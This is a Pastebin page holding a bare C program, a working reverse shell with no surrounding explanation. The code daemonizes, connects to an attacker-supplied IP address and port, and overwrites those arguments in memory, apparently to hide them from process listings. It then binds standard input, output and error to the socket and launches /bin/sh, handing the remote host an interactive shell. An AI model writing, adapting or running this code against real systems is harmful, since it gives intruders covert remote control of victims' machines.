Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- int main(int argc, char *argv[]){
- int fd;
- struct sockaddr_in sin;
- daemon(1,0);
- sin.sin_family = AF_INET;
- sin.sin_port = htons(atoi(argv[1]));
- sin.sin_addr.s_addr = inet_addr(argv[2]);
- bzero(argv[2],strlen(argv[2])+1+strlen(argv[1]));
- fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
- if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0){perror("error\n");exit(0);}
- dup2(fd, 0);
- dup2(fd, 1);
- dup2(fd, 2);
- execl("/bin/sh","sh",(char *)0);
- close(fd);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement